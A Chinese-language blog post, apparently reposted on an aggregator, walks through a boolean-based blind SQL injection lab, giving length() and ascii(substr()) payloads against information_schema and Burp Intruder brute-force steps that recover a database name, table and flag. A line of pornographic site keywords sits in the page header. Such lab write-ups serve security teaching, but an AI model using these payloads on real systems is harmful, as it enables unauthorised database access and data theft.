日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL盲注篇之布尔盲注

發布時間:2023/12/10 数据库 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL盲注篇之布尔盲注 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 前言
  • 一、關于SQL盲注
  • 二、實戰—封神榜
    • Pass-05
  • 總結


前言

關于SQL盲注的一些要點,首先我會介紹一下關于SQL語句在前后端的執行流程,以便大家更好地理解SQL注入這個流程,方便初學者進行理解跟進。


一、關于SQL盲注

由于SQL注入并不是都會直接顯示查詢的內容,有時候只是回顯查詢正確與否,并不能看查詢到的數據結果,這時候我們就需要一種新的注入方式,這就是SQL盲注,而我們根據回顯的方式不同將盲注主要分為布爾型盲注和時間盲注。接下來我將會以封神臺為例,講解一下SQL布爾型盲注的大致流程。

二、實戰—封神榜

Pass-05

  • 整理思路
    開始之前我們先整理一下自己的注入思路,首先,我們只能從頁面獲取我們注入成功與否的信息,并不能直接獲取數據庫名、表明、字段名等等之類的信息,因此,之前的注入方式不再使用,因此我們可以換一個角度來考慮問題,既然我們只能獲取對與錯這個消息,那我們就可以通過先判斷庫名、表名、字段名所含的字符個數,之后再想辦法將字符串切片(學過python和matlab的同學可能對切片比較了解),一個一個字符通過ascii碼表進行判斷對錯,當返回是正確的時候,說明對應位置的字符是正確的,之后我們一次一次的判斷就可以判斷出庫名、表名字、字段名。最后我們也可以通過這種方式判斷flag。
    代碼如下(示例):
  • 判斷SQL注入點是否存在
  • 獲取庫名的字符串個數
id=1.1 or length(database())>1 逐個判斷出庫名字符串長度為12,這樣我們就知道數據庫的名稱是一個長度為12的字符串,接下來我們通過ASCII碼的形式來判斷庫名。 id=1.1 or ascii(substr(database(),1,1))>1 //借助substr(,,)對字符切片,表示第1個字符,偏移量為1 這樣我們就可以像剛剛判斷庫名長度一樣判斷對應位置的ASCII碼,這樣我們就可以對照ASCII碼表讀取出字符串了
但是我們發現數據庫名由12個字符組成,每個字符又有128種可能,一共就有12*128種可能,這還只是數據庫名,后面還有表名、字段名、flag,那每次手工輸出判斷不是累炸了。
所以我們需要借助工具幫我們處理這種大量、重復性的工作。
  • 使用burp代理進行爆破


    這從瀏覽器設置把數據包發給8080端口,并設置有代理接收,從burp里設置,代理8080端口。這樣burp就可以代理瀏覽器發包,這樣我們就可以在burp里修改瀏覽器發給服務器的包,在burp里面有一個模塊能夠進行爆破操作。

我們先來看一下我們構造的語句在瀏覽器發的數據包里長什么樣吧。

這里我們要注意一下,這里我們要判斷,所以要用等號,而不是大于,后續爆破也是一個一個判斷ASCII碼的值,如果這里是后續抓包判斷會很繁瑣。

從這里我們可以看到,我們執行的語句就是這條,接下來我們右鍵發送到intruder模塊

這里我們點擊第四個。

這里先清除默認爆破位置,選中我們需要的爆破模塊,第一個是字符串的位置,第二格式對應位置的字符串的ASCII碼

接下來我們設置這兩個位置的在載荷(爆破內容),兩個載荷均選擇數字,第一個選擇1-12(因為有12個位置需要爆破),第二個載荷設置成0-127(所有ASCII碼的編號)


點擊開始攻擊

布爾盲注返回頁面顯示不通,所以返回的包長度肯定是不一樣的,所以我們就可以根據包的長度斷定那些包是正確的返回結果,從圖上來看,標綠之前的包的長度均為2700左右(差別1-2是因為Paylode1,2的字符串個數差別)。

由此我們可以讀出位置1-12的ASCII碼分別是:107 97 110 119 111 108 111 110 103 120 105 97
查詢ASCII碼表得到庫名為: kanwolongxia

  • 獲取表名的長度
    了解之前的查詢之后我們把查詢部分的語句換一下,改成查詢表名就可以了,然后我們再次抓包進行爆破
?id=1.1 or length((select table_name from information_schema.tables where table_schema=database()limit 0,1))>1 id=1.1 or ascii(substr((select table_name from information_schema.tables where table_schema="kanwolongxia" limit 0,1),1,1))>1

抓包爆破結果為:

獲得表名:loflag
同樣的方式我們可以獲得列名:flaglo

  • 獲取flag
id=1.1 or length((select flaglo from loflag limit 0,1))=8 //判斷flag長度,繼續爆破 id=1.1 or ascii(substr((select flaglo from loflag limit 1,1),1,1))=1 //爆破

獲flag: zKaQ-QQQ


總結

以上是對SQL盲注的手工注入方式,答題思路只是通過一個一個字符對ASCII碼表遍歷,進行布爾判斷,進而的到相應的信息。構造語句把對應查詢內容位置的內容替換即可。

總結

以上是生活随笔為你收集整理的SQL盲注篇之布尔盲注的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。